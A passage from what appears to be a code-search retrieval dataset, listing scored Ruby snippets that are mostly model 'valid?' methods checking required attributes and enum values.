\"PRODUCT_OR_FOLDER\", \"TASK\", \"FORM\", \"MARKETING_EMAIL\", \"AD_ACCOUNT\", \"AD_CAMPAIGN\", \"AD_GROUP\", \"AD\", \"KEYWORD\", \"CAMPAIGN\", \"SOCIAL_CHANNEL\", \"SOCIAL_POST\", \"SITE_PAGE\", \"BLOG_POST\", \"IMPORT\", \"EXPORT\", \"CTA\", \"TASK_TEMPLATE\", \"AUTOMATION_PLATFORM_FLOW\", \"OBJECT_LIST\", \"NOTE\", \"MEETING_EVENT\", \"CALL\", \"EMAIL\", \"PUBLISHING_TASK\", \"CONVERSATION_SESSION\", \"CONTACT_CREATE_ATTRIBUTION\", \"INVOICE\", \"MARKETING_EVENT\", \"CONVERSATION_INBOX\", \"CHATFLOW\", \"MEDIA_BRIDGE\", \"SEQUENCE\", \"SEQUENCE_STEP\", \"FORECAST\", \"SNIPPET\", \"TEMPLATE\", \"DEAL_CREATE_ATTRIBUTION\", \"QUOTE_TEMPLATE\", \"QUOTE_MODULE\", \"QUOTE_MODULE_FIELD\", \"QUOTE_FIELD\", \"SEQUENCE_ENROLLMENT\", \"SUBSCRIPTION\", \"ACCEPTANCE_TEST\", \"SOCIAL_BROADCAST\", \"DEAL_SPLIT\", \"DEAL_REGISTRATION\", \"GOAL_TARGET\", \"GOAL_TARGET_GROUP\", \"PORTAL_OBJECT_SYNC_MESSAGE\", \"FILE_MANAGER_FILE\", \"FILE_MANAGER_FOLDER\", \"SEQUENCE_STEP_ENROLLMENT\", \"APPROVAL\", \"APPROVAL_STEP\", \"CTA_VARIANT\", \"SALES_DOCUMENT\", \"DISCOUNT\", \"FEE\", \"TAX\", \"MARKETING_CALENDAR\", \"PERMISSIONS_TESTING\", \"PRIVACY_SCANNER_COOKIE\", \"DATA_SYNC_STATE\", \"WEB_INTERACTIVE\", \"PLAYBOOK\", \"FOLDER\", \"PLAYBOOK_QUESTION\", \"PLAYBOOK_SUBMISSION\", \"PLAYBOOK_SUBMISSION_ANSWER\", \"COMMERCE_PAYMENT\", \"GSC_PROPERTY\", \"SOX_PROTECTED_DUMMY_TYPE\", \"BLOG_LISTING_PAGE\", \"QUARANTINED_SUBMISSION\", \"PAYMENT_SCHEDULE\", \"PAYMENT_SCHEDULE_INSTALLMENT\", \"MARKETING_CAMPAIGN_UTM\", \"DISCOUNT_TEMPLATE\", \"DISCOUNT_CODE\", \"FEEDBACK_SURVEY\", \"CMS_URL\", \"SALES_TASK\", \"SALES_WORKLOAD\", \"USER\", \"POSTAL_MAIL\", \"SCHEMAS_BACKEND_TEST\", \"PAYMENT_LINK\", \"SUBMISSION_TAG\", \"CAMPAIGN_STEP\", \"SCHEDULING_PAGE\", \"SOX_PROTECTED_TEST_TYPE\", \"ORDER\", \"MARKETING_SMS\", \"PARTNER_ACCOUNT\", \"CAMPAIGN_TEMPLATE\", \"CAMPAIGN_TEMPLATE_STEP\", \"UNKNOWN\"])\n return false unless object_type_validator.valid?(@object_type)\n return false if @known_column_number.nil?\n return false if @created_at.nil?\n return false if @id.nil?\n true\n end", "title": "" }, { "docid": "395ad5e26a32984df08396a10df6f5dd", "score": "0.705045", "text": "def attributes_valid?\n invalid_attributes.empty?\n end", "title": "" }, { "docid": "395ad5e26a32984df08396a10df6f5dd", "score": "0.705045", "text": "def attributes_valid?\n invalid_attributes.empty?\n end", "title": "" }, { "docid": "7090fe863dde038fdf4e7ff6cfd1df84", "score": "0.7027778", "text": "def model_valid?(_model)\n true\n end", "title": "" }, { "docid": "0c234ff5c186d5ff2a9517822dd5a3c0", "score": "0.6957312", "text": "def validate\n return if model.valid?\n\n context.fail!(:message => 'Invalid details')\n end", "title": "" }, { "docid": "b7919f1619fd1d91a2230b624266a8f0", "score": "0.69204587", "text": "def validate_local\n validate_mandatory_attributes\n validate_owner\n end", "title": "" }, { "docid": "4d0cc4bb50a9b265b596110b35272774", "score": "0.69177437", "text": "def valid?\n #TODO: Improve this to create an errors array with detailed errors (or maybe just use activemodel)\n REQUIRED_FIELDS.each do |require_field|\n return false unless instance_variables.include?(:\"@#{require_field}\") and\n !instance_variable_get(\"@#{require_field}\").to_s.empty?\n end\n true\n end", "title": "" }, { "docid": "501cd455143dc0281b4ac0cbb2d4bb50", "score": "0.6906482", "text": "def check_create_params\n check_params(*(model.properties.find_all { |p| model.updatable?(p.name) && p.required? }.map(&:name)))\n end", "title": "" }, { "docid": "28a88cae7cfa6941a90862457247b06b", "score": "0.6889698", "text": "def valid?\n @errors.clear\n\n @attributes.each do |name, attribute|\n @errors.add(name, *attribute.validate)\n end\n\n @errors.empty?\n end", "title": "" }, { "docid": "d5e3770b65f3ef7036bdc7254722ef6b", "score": "0.68756455", "text": "def validate\n assert !@object.valid?\n end", "title": "" }, { "docid": "4170c5bbf55393c993c8fd551f28a455", "score": "0.6867981", "text": "def valid?\n @errors = new_errors\n @heading.attributes.each { |attribute|\n unless @object.persisted?\n next if attribute.domain.is_a?(Orel::Domains::Serial)\n end\n\n # TODO: implement domain specific validations\n value = @attributes[attribute.name]\n if value.nil?\n @errors.add(attribute.name, \"cannot be blank\")\n end\n }\n @errors.size == 0\n end", "title": "" }, { "docid": "e85192e6d48fff1b49e1a77691c97119", "score": "0.68509537", "text": "def required_properties_present\n result = false\n resource_properties.each do |rp|\n result ||= rp.is_required(resource_type)\n end\n if result\n # There was error on one of fields, so we need to invalidate all resource\n # Otherwise it will pass validation :(\n errors.add(:base, \"There are required fields without values\")\n end\n end", "title": "" }, { "docid": "7052c0036facae7492c10b9f00badf2e", "score": "0.6850532", "text": "def valid?\n @object.validate! rescue false\n end", "title": "" }, { "docid": "38f39304eef18763d617cc769e6dcbb4", "score": "0.6842381", "text": "def valid?\n return false if @id.nil?\n return false if @portal_id.nil?\n return false if @created.nil?\n return false if @updated.nil?\n return false if @created_by_id.nil?\n return false if @updated_by_id.nil?\n return false if @route_prefix.nil?\n return false if @destination.nil?\n return false if @redirect_style.nil?\n return false if @content_group_id.nil?\n return false if @is_only_after_not_found.nil?\n return false if @is_regex.nil?\n return false if @is_match_full_url.nil?\n return false if @is_match_query_string.nil?\n return false if @is_pattern.nil?\n return false if @is_trailing_slash_optional.nil?\n return false if @is_protocol_agnostic.nil?\n return false if @name.nil?\n return false if @precedence.nil?\n return false if @deleted_at.nil?\n return false if @note.nil?\n return false if @label.nil?\n return false if @internally_created.nil?\n return false if @cos_object_type.nil?\n cos_object_type_validator = EnumAttributeValidator.new('String', [\"CONTENT\", \"EXTENSION_RESOURCE\", \"LAYOUT\", \"CUSTOM_WIDGET\", \"WIDGET\", \"FORM\", \"PLACEMENT\", \"IMAGE\", \"DOMAIN_SETTINGS\", \"SITE_SETTINGS\", \"EMAIL_ADDRESS\", \"WORKFLOW\", \"HUBDB_TABLE\", \"REDIRECT_URL\", \"DESIGN_FOLDER\", \"SITE_MAP\", \"DOMAIN\", \"BLOG\", \"FILE\", \"FOLDER\", \"SITE_MENU\", \"THEME\", \"CONTENT_GROUP\", \"FOLLOW_ME\", \"KNOWLEDGE_BASE\", \"LIST_MEMBERSHIP\", \"CONTACT_MEMBERSHIP\", \"PASSWORD_PROTECTED\", \"UNRESTRICTED_ACCESS\", \"MARKETPLACE_LISTING\", \"LAYOUT_SECTION\", \"THEME_SETTINGS\", \"VIDEO_PLAYER\", \"URL_MAPPING\", \"KNOWLEDGE_CATEGORY\", \"KNOWLEDGE_HOMEPAGE_CATEGORY\", \"RAW_ASSET\", \"GLOBAL_CONTENT\", \"HUBDB_TABLE_ROW\", \"BLOG_AUTHOR\", \"SERVERLESS_FUNCTION\", \"KNOWLEDGE_CATEGORY_TRANSLATION\"])\n return false unless cos_object_type_validator.valid?(@cos_object_type)\n return false if @cdn_purge_embargo_time.nil?\n true\n end", "title": "" }, { "docid": "af32edfda9f0bb8d7f6652ad68c70da3", "score": "0.6820377", "text": "def valid?\n clear_errors\n valid = true\n self.class.columns.keys.each do |attribute|\n if @attributes[attribute].blank?\n @errors.add \"#{attribute} cannot be blank\"\n valid = false\n end\n end\n valid\n end", "title": "" }, { "docid": "aa8189a9462c1e79a34dab32b45eb615", "score": "0.67979604", "text": "def valid?\n # TODO: Improve this to create an errors array with detailed errors\n # (or maybe just use activemodel)\n REQUIRED_FIELDS.each do |require_field|\n return false unless instance_variables.map(&:to_s).include?(\"@#{require_field}\") and\n !instance_variable_get(\"@#{require_field}\").to_s.empty?\n end\n true\n end", "title": "" }, { "docid": "8ff3c34d8110f97b4ed8234ec4405a1f", "score": "0.67967933", "text": "def verify_properties_consistency\n raise ArgumentError , \"Class not well formed, no properties found.\" if @properties.nil?\n end", "title": "" }, { "docid": "a6a93cdd9397aef02e78b5fe80f77ad7", "score": "0.67739326", "text": "def valid?\n return false if @name.nil?\n return false if @model.nil?\n return false if @description.nil?\n return false if @price.nil?\n return true\n end", "title": "" }, { "docid": "56b357be57a66969646833e222385bc0", "score": "0.67723846", "text": "def check_attributes\n self.attributes.each do |attr_name , attr_value|\n if (attr_value.blank? || attr_value.nil?) && (attr_name != \"further_info\") && !(attr_name.include? \"toefl\")\n return false\n end\n end\n end", "title": "" }, { "docid": "71d4779297b811c17cce79b027b75840", "score": "0.6771615", "text": "def valid?\n attributes.any?{ |k,v| !v.blank? }\n end", "title": "" }, { "docid": "b1d443cdb24867b625d021e95ddbd65c", "score": "0.67690223", "text": "def valid?\n return false if !@group_name.nil? && @group_name.to_s.length > 255\n return false if !@group_name.nil? && @group_name.to_s.length < 1\n return false if !@group_name.nil? && @group_name !~ Regexp.new(/[\\P{Cc}]+/)\n return false if !@property_name.nil? && @property_name.to_s.length > 255\n return false if !@property_name.nil? && @property_name.to_s.length < 1\n return false if !@property_name.nil? && @property_name !~ Regexp.new(/[\\P{Cc}]+/)\n return false if !@property_value.nil? && @property_value.to_s.length > 1024\n return false if !@property_value.nil? && @property_value.to_s.length < 0\n return false if !@property_value.nil? && @property_value !~ Regexp.new(/[\\P{Cc}]+/)\n return false if @property_type.nil?\n property_type_validator = EnumAttributeValidator.new('String', [\"BOOLEAN\", \"INTEGER\", \"NUMBER\", \"STRING\", \"ENCRYPTEDSTRING\", \"TIMESTAMP\", \"URL\", \"UUID\"])\n return false unless property_type_validator.valid?(@property_type)\n return false if !@description.nil? && @description.to_s.length > 255\n return false if !@description.nil? && @description.to_s.length < 0\n return false if !@description.nil? && @description !~ Regexp.new(/[\\P{Cc}]+/)\n true\n end", "title": "" }, { "docid": "5a96faa9b22d459f3d959088ac5cb2f4", "score": "0.67684525", "text": "def valid?\n return false if @type.nil?\n return false if @subtype.nil?\n return false if @item.nil?\n return false if @service_template.nil?\n summary_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless summary_setting_validator.valid?(@summary_setting)\n discussion_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless discussion_setting_validator.valid?(@discussion_setting)\n internal_analysis_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless internal_analysis_setting_validator.valid?(@internal_analysis_setting)\n tasks_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless tasks_setting_validator.valid?(@tasks_setting)\n documents_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless documents_setting_validator.valid?(@documents_setting)\n resources_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless resources_setting_validator.valid?(@resources_setting)\n budget_hours_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless budget_hours_setting_validator.valid?(@budget_hours_setting)\n finance_information_setting_validator = EnumAttributeValidator.new('String', [\"Append\", \"Overwrite\", \"Ignore\"])\n return false unless finance_information_setting_validator.valid?(@finance_information_setting)\n return true\n end", "title": "" }, { "docid": "89e8061532f42af9855485d82184e7d4", "score": "0.6766095", "text": "def valid?\n missing_mandatory_fields.empty?\n end", "title": "" }, { "docid": "07cfa750618f5e9c4b6df68d37bfcb98", "score": "0.6726498", "text": "def validate\n validate_string_attributes\n @relations.each(&:validate)\n end", "title": "" }, { "docid": "68caa2927b215a20726ac140ac0c624a", "score": "0.67192715", "text": "def any_validations?(property)\n property[:validations].present? && property[:validations].any?\n end", "title": "" }, { "docid": "0cae4df6caec6830dc7ed80ce30bb4c7", "score": "0.67178917", "text": "def validate!\n super\n validate_attributes!\n end", "title": "" }, { "docid": "0cae4df6caec6830dc7ed80ce30bb4c7", "score": "0.67178917", "text": "def validate!\n super\n validate_attributes!\n end", "title": "" }, { "docid": "f0b85a05e1eef8e25c806a894519c50e", "score": "0.67034847", "text": "def valid?\n return false if @id.nil?\n return false if @horizontal_alignment.nil?\n horizontal_alignment_validator = EnumAttributeValidator.new('String', [\"None\", \"Left\", \"Center\", \"Right\"])\n return false unless horizontal_alignment_validator.valid?(@horizontal_alignment)\n return false if @vertical_alignment.nil?\n vertical_alignment_validator = EnumAttributeValidator.new('String', [\"None\", \"Top\", \"Center\", \"Bottom\"])\n return false unless vertical_alignment_validator.valid?(@vertical_alignment)\n return false if @creator_id.nil?\n return false if @box.nil?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', [\"None\", \"Area\", \"Arrow\", \"Distance\", \"Ellipse\", \"Link\", \"Point\", \"Polyline\", \"ResourcesRedaction\", \"TextField\", \"TextHighlight\", \"TextRedaction\", \"TextReplacement\", \"TextStrikeout\", \"TextUnderline\", \"Watermark\", \"Image\", \"TextSquiggly\"])\n return false unless type_validator.valid?(@type)\n return false if @created_on.nil?\n pen_style_validator = EnumAttributeValidator.new('String', [\"Solid\", \"Dash\", \"DashDot\", \"Dot\", \"LongDash\", \"DashDotDot\"])\n return false unless pen_style_validator.valid?(@pen_style)\n return false if @z_index.nil?\n return false if @auto_scale.nil?\n return true\n end", "title": "" }, { "docid": "b39e32af74beb520a316e520b94ba3eb", "score": "0.67016387", "text": "def valid?\n valid = true\n\n if self.name.nil? || self.name == \"\"\n valid = false\n end\n\n if self.assignment_id.nil? || self.assignment_id == \"\"\n valid = false\n end\n\n if self.description.nil? || self.description == \"\"\n valid = false\n end\n\n if self.where_stored.nil? || self.where_stored == \"\"\n valid = false\n end\n\n return valid\n end", "title": "" }, { "docid": "642a67d38d2725af639765d6fd275b6d", "score": "0.669397", "text": "def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 50\n return false if @location.nil?\n return false if @department.nil?\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n bill_expense_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expense_validator.valid?(@bill_expense)\n bill_product_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_product_validator.valid?(@bill_product)\n return false if !@notify_email_from.nil? && @notify_email_from.to_s.length > 50\n return false if !@notify_email_from_name.nil? && @notify_email_from_name.to_s.length > 60\n problem_sort_validator = EnumAttributeValidator.new('String', [\"Ascending\", \"Descending\"])\n return false unless problem_sort_validator.valid?(@problem_sort)\n resolution_sort_validator = EnumAttributeValidator.new('String', [\"Ascending\", \"Descending\"])\n return false unless resolution_sort_validator.valid?(@resolution_sort)\n internal_analysis_sort_validator = EnumAttributeValidator.new('String', [\"Ascending\", \"Descending\"])\n return false unless internal_analysis_sort_validator.valid?(@internal_analysis_sort)\n all_sort_validator = EnumAttributeValidator.new('String', [\"Ascending\", \"Descending\"])\n return false unless all_sort_validator.valid?(@all_sort)\n return true\n end", "title": "" }, { "docid": "677c70829f9d22ab1da837e20ef23907", "score": "0.66911185", "text": "def valid_property?(property)\n true\n end", "title": "" }, { "docid": "4995e908cb7bf688c41cc14cf03bbb3d", "score": "0.66821235", "text": "def any_attributes_present? \n errors.add(:base, :invalid) if attributes.values.all?(&:blank?)\n end", "title": "" }, { "docid": "59035d8d1075173eac3b8a9fe181ff25", "score": "0.6667162", "text": "def valid?\n return false if @name.nil?\n return false if @description.nil?\n return false if @duration.nil?\n return false if @duration_period.nil?\n duration_period_validator = EnumAttributeValidator.new('String', [\"minutes\", \"days\", \"months\", \"years\"])\n return false unless duration_period_validator.valid?(@duration_period)\n return false if @trial.nil?\n return false if @trial_period.nil?\n trial_period_validator = EnumAttributeValidator.new('String', [\"none\", \"minutes\", \"days\", \"months\"])\n return false unless trial_period_validator.valid?(@trial_period)\n return false if @product_type.nil?\n product_type_validator = EnumAttributeValidator.new('String', [\"nonrecurring\", \"recurring\"])\n return false unless product_type_validator.valid?(@product_type)\n return false if @deleted.nil?\n return true\n end", "title": "" }, { "docid": "dfc1c45c91fbba6f8ead648d3a33315a", "score": "0.6655738", "text": "def validate\n validate_value(self.value)\n validate_mandatory\n validate_unique\n\n errors.empty?\n end", "title": "" }, { "docid": "8f9f8bb07e1eea089d1d3cc9ab433182", "score": "0.66533387", "text": "def valid?\n unvalidated_fields = @data.keys.dup\n for property_key, schema_class in self.class.properties\n property_value = @data[property_key]\n if !self.class.validate_property_value(\n property_value, schema_class.data)\n return false\n end\n if property_value == nil && schema_class.data['required'] != true\n # Value was omitted, but not required. Still valid. Skip dependency\n # checks.\n next\n end\n\n # Verify property dependencies\n property_dependencies = self.class.property_dependencies[property_key]\n case property_dependencies\n when String, Array\n property_dependencies = [property_dependencies].flatten\n for dependency_key in property_dependencies\n dependency_value = @data[dependency_key]\n return false if dependency_value == nil\n end\n when Class\n if property_dependencies.ancestors.include?(Instance)\n dependency_instance = property_dependencies.new(property_value)\n return false unless dependency_instance.valid?\n else\n raise TypeError,\n \"Expected schema Class, got #{property_dependencies.class}.\"\n end\n end\n end\n if self.class.additional_properties_schema == nil\n # No additional properties allowed\n return false unless unvalidated_fields.empty?\n elsif self.class.additional_properties_schema != EMPTY_SCHEMA\n # Validate all remaining fields against this schema\n for property_key in unvalidated_fields\n property_value = @data[property_key]\n if !self.class.additional_properties_schema.validate_property_value(\n property_value, self.class.additional_properties_schema.data)\n return false\n end\n end\n end\n if self.class.superclass && self.class.superclass != Instance &&\n self.class.ancestors.first != Instance\n # The spec actually only defined the 'extends' semantics as children\n # must also validate aainst the parent.\n return false unless self.class.superclass.new(@data).valid?\n end\n return true\n end", "title": "" }, { "docid": "67b784e7dc0b2feefefc2b4fd0bd2854", "score": "0.664806", "text": "def properties_valid\n\t\tofferor = Team.find(self.offeror_id)\n\t\tofferee = Team.find(self.offeree_id)\n\t\tif incoming_properties\n\t\t\tincoming_properties.each do |prop|\n\t\t\t\tproperty = Property.find(prop.to_i)\n\t\t\t\treturn false if property.team_id != offeree.id\n\t\t\tend\n\t\tend\n\t\tif outgoing_properties\n\t\t\toutgoing_properties.each do |prop|\n\t\t\t\tproperty = Property.find(prop.to_i)\n\t\t\t\treturn false if property.team_id != offeror.id\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend", "title": "" }, { "docid": "05432646c0491b2c32a7ca0246e39f47", "score": "0.66424084", "text": "def valid?\n !self.class.definition.keys.map do |field_sym|\n field = send(field_sym)\n next unless field.mandatory? ## TODO: levels of validity with 'R' and 'O' fields\n field.valid?\n end.detect { |valid| valid == false }\n end", "title": "" }, { "docid": "fc7eccb6353bd1e09b7de001f03e025e", "score": "0.6635976", "text": "def valid?\n validate\n super\n end", "title": "" }, { "docid": "a69b6bee652cd9df2814237899098c62", "score": "0.66342527", "text": "def validate_properties(record_v)\n\t\tif record_v.nil?\n\t\t\trecord_v.errors[:base] << \"nil object is not valid.\"\n\t\telsif record_v.properties.nil?\n\t\t\trecord_v.errors[:base] << \"properties cannot be nil.\"\n\t\telsif not record_v.properties.is_a? Hash\n\t\t\t\trecord_v.errors[:base] << \"properties only should be a Hash.\"\n\t\tend\n\tend", "title": "" }, { "docid": "10898f42b5d2f739bd3decca5231dad5", "score": "0.66325885", "text": "def valid?\n @fields.size > 0\n end", "title": "" }, { "docid": "bd70d049f0aae25fcf27f0aaed42157b", "score": "0.66296124", "text": "def valid_for_attributes( model, attributes )\n unless model.valid?\n errors = model.errors\n our_errors = Array.new\n errors.each { |attr,error|\n if attributes.include? attr\n our_errors << [attr,error]\n end\n }\n errors.clear\n our_errors.each { |attr,error| errors.add(attr,error) }\n return false unless errors.empty?\n end\n return true\n end", "title": "" }, { "docid": "d3233379b23b0af92d5e0a3b4d27deba", "score": "0.66254836", "text": "def valid?\n validate_top_coordinates\n validate_starting_position\n validate_instructions\n\n self.errors.empty?\n end", "title": "" }, { "docid": "9bdb87e4d380433c682d55db35db0efa", "score": "0.6622422", "text": "def validate\n # optional\n end", "title": "" }, { "docid": "e5495b5ff3b0e826b7b0842d5643de22", "score": "0.66164815", "text": "def valid_for_attributes( model, attributes )\n unless model.valid?\n errors = model.errors\n our_errors = Array.new\n errors.each do |attr,error|\n if attributes.include? attr\n our_errors << [attr,error]\n end\n end\n errors.clear\n our_errors.each { |attr,error| errors.add(attr,error) }\n return false unless errors.empty?\n end\n return true\n end", "title": "" }, { "docid": "a9991d159b13abde05761d2ead33e5bd", "score": "0.66137147", "text": "def validate\n return false if @id.nil? or @id < 0\n return false if @name.nil? or @name.strip.length <= 0\n return false if @description.nil? or @description.strip.length <= 0\n return false if @capacity.nil? or @capacity <= 0\n return true\n end", "title": "" }, { "docid": "2da4bc965b1bab21d2ebfc8651b1914c", "score": "0.66071033", "text": "def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 100\n return false if @type.nil?\n return false if @company.nil?\n return false if @contact.nil?\n return false if !@customer_po.nil? && @customer_po.to_s.length > 50\n return false if !@reason_cancelled.nil? && @reason_cancelled.to_s.length > 50\n return false if !@work_order.nil? && @work_order.to_s.length > 20\n return false if !@internal_notes.nil? && @internal_notes.to_s.length > 5000\n application_units_validator = EnumAttributeValidator.new('String', [\"Amount\", \"Hours\", \"Incidents\"])\n return false unless application_units_validator.valid?(@application_units)\n application_cycle_validator = EnumAttributeValidator.new('String', [\"Contract2Weeks\", \"Contract4Weeks\", \"ContractYear\", \"CalendarMonth\", \"CalendarQuarter\", \"CalendarWeek\", \"ContractQuarter\", \"CalendarYear\"])\n return false unless application_cycle_validator.valid?(@application_cycle)\n employee_comp_rate_validator = EnumAttributeValidator.new('String', [\"Actual\", \"Hourly\"])\n return false unless employee_comp_rate_validator.valid?(@employee_comp_rate)\n employee_comp_not_exceed_validator = EnumAttributeValidator.new('String', [\"Billing\", \"Percent\", \"Amount\"])\n return false unless employee_comp_not_exceed_validator.valid?(@employee_comp_not_exceed)\n invoicing_cycle_validator = EnumAttributeValidator.new('String', [\"CalendarYear\", \"ContractYear\"])\n return false unless invoicing_cycle_validator.valid?(@invoicing_cycle)\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n period_type_validator = EnumAttributeValidator.new('String', [\"Current\", \"Future\", \"Both\", \"Undefined\"])\n return false unless period_type_validator.valid?(@period_type)\n return true\n end", "title": "" }, { "docid": "ae8120cfaea64db6f55e37f8b3ab4fbd", "score": "0.66010725", "text": "def validate\n raise ValidationError, \"At least one attribute must be specified\" if @attributes.empty?\n @attributes.each { |attribute| attribute.validate }\n end", "title": "" }, { "docid": "8c89b537da915c8402cf11acea6f5a77", "score": "0.6593515", "text": "def valid?\n return false if @id.nil?\n return false if @handle.nil?\n return false if @customer.nil?\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"created\", \"pending\", \"dunning\", \"settled\", \"authorized\", \"cancelled\", \"failed\"])\n return false unless state_validator.valid?(@state)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', [\"s\", \"so\", \"soi\", \"co\", \"ch\"])\n return false unless type_validator.valid?(@type)\n return false if @amount.nil?\n return false if @amount < 0\n return false if @number.nil?\n return false if @number < 1\n return false if @currency.nil?\n return false if @due.nil?\n return false if @credits.nil?\n return false if @created.nil?\n return false if @discount_amount.nil?\n return false if @discount_amount < 0\n return false if @org_amount.nil?\n return false if @org_amount < 0\n return false if @amount_vat.nil?\n return false if @amount_ex_vat.nil?\n return false if @settled_amount.nil?\n return false if @refunded_amount.nil?\n return false if @order_lines.nil?\n return false if @additional_costs.nil?\n return false if @transactions.nil?\n return true\n end", "title": "" }, { "docid": "8fbf7387ac8c8ef2ed343505639b3763", "score": "0.6579147", "text": "def valid?\n return false if @product_id.nil?\n return false if @currency.nil?\n return false if @tax_status.nil?\n tax_status_validator = EnumAttributeValidator.new('String', [\"inclusive\", \"exclusive\"])\n return false unless tax_status_validator.valid?(@tax_status)\n return false if @failed_payment_behaviour.nil?\n failed_payment_behaviour_validator = EnumAttributeValidator.new('String', [\"CancelSubscription\", \"None\"])\n return false unless failed_payment_behaviour_validator.valid?(@failed_payment_behaviour)\n return false if @duration_period.nil?\n duration_period_validator = EnumAttributeValidator.new('String', [\"minutes\", \"days\", \"months\", \"years\"])\n return false unless duration_period_validator.valid?(@duration_period)\n trial_period_validator = EnumAttributeValidator.new('String', [\"none\", \"minutes\", \"days\", \"months\"])\n return false unless trial_period_validator.valid?(@trial_period)\n product_type_validator = EnumAttributeValidator.new('String', [\"nonrecurring\", \"recurring\"])\n return false unless product_type_validator.valid?(@product_type)\n return false if @pro_rata_mode.nil?\n pro_rata_mode_validator = EnumAttributeValidator.new('String', [\"None\", \"WithCoupon\", \"WithoutCoupon\", \"Full\"])\n return false unless pro_rata_mode_validator.valid?(@pro_rata_mode)\n return false if @create_zero_valued_invoices.nil?\n return false if @name.nil?\n return false if @migration_behaviour.nil?\n migration_behaviour_validator = EnumAttributeValidator.new('String', [\"NoCharge\", \"CreditAccount\"])\n return false unless migration_behaviour_validator.valid?(@migration_behaviour)\n invoice_issue_type_validator = EnumAttributeValidator.new('String', [\"Immediate\", \"Delayed\", \"Manual\"])\n return false unless invoice_issue_type_validator.valid?(@invoice_issue_type)\n issue_period_validator = EnumAttributeValidator.new('String', [\"minutes\", \"days\", \"months\", \"years\"])\n return false unless issue_period_validator.valid?(@issue_period)\n return false if @pricing_components.nil?\n return true\n end", "title": "" }, { "docid": "7aaeab90d84088aa4be98b502d478efc", "score": "0.6573572", "text": "def validate!\n validate_requireds!\n super()\n true\n end", "title": "" }, { "docid": "ab42720dd49c39070eba5cde02812001", "score": "0.65697694", "text": "def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 100\n return false if @board.nil?\n return false if @status.nil?\n return false if @source.nil?\n return false if @priority.nil?\n return false if @team.nil?\n return false if @location.nil?\n return false if @department.nil?\n return false if @summary.nil?\n return false if @summary.to_s.length > 100\n return false if !@purchase_order_number.nil? && @purchase_order_number.to_s.length > 25\n return false if !@reference.nil? && @reference.to_s.length > 50\n return false if @billing_method.nil?\n billing_method_validator = EnumAttributeValidator.new('String', [\"ActualRates\", \"FixedFee\", \"NotToExceed\", \"OverrideRate\"])\n return false unless billing_method_validator.valid?(@billing_method)\n return false if @severity.nil?\n severity_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless severity_validator.valid?(@severity)\n return false if @impact.nil?\n impact_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless impact_validator.valid?(@impact)\n return false if @assigned_by.nil?\n return false if !@email_cc.nil? && @email_cc.to_s.length > 1000\n return true\n end", "title": "" }, { "docid": "d8e95f0194c4a676d6254fcb531badaf", "score": "0.6568135", "text": "def valid?\n clear_errors\n\n unknown_attributes = attributes.keys - schema.keys\n unknown_attributes.each do |key|\n errors << \"#{key} is not a valid attribute name\"\n end\n\n schema.values.each do |attribute|\n if error = attribute.validate(attributes[attribute.name])\n errors << error\n end\n end\n \n errors.empty?\n end", "title": "" }, { "docid": "7fef38121c8346fe7276b89d12271da7", "score": "0.65632373", "text": "def properties_required?\n return false if self.skip_properties_validation\n !self.super?\n end", "title": "" }, { "docid": "6260ce5e6b04a8031de9cb3dfa63fdaa", "score": "0.656259", "text": "def valid?\n\t\tvalid = true\n\t\t@rules.each_pair do |f,r|\n\t\t\tif ! send(r.to_sym, @obj.send(f))\n\t\t\t\tvalid = false\n\t\t\t\t@errors[f] = @message[r]\n\t\t\tend\n\t\tend\n\n\t\t@valid = valid\n\tend", "title": "" }, { "docid": "9b0c2c5b4c15bf89c9c2177343e92a1c", "score": "0.6560754", "text": "def validate?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "c02b86b4518d7e8862223b33f14bc9a8", "score": "0.6555879", "text": "def validatable?\n true\n end", "title": "" }, { "docid": "c02b86b4518d7e8862223b33f14bc9a8", "score": "0.6555879", "text": "def validatable?\n true\n end", "title": "" }, { "docid": "c02b86b4518d7e8862223b33f14bc9a8", "score": "0.6555879", "text": "def validatable?\n true\n end", "title": "" }, { "docid": "c02b86b4518d7e8862223b33f14bc9a8", "score": "0.6555879", "text": "def validatable?\n true\n end", "title": "" }, { "docid": "c02b86b4518d7e8862223b33f14bc9a8", "score": "0.6555879", "text": "def validatable?\n true\n end", "title": "" }, { "docid": "c02b86b4518d7e8862223b33f14bc9a8", "score": "0.6555879", "text": "def validatable?\n true\n end", "title": "" }, { "docid": "2d147354a6167bdd880c08577039d869", "score": "0.6542414", 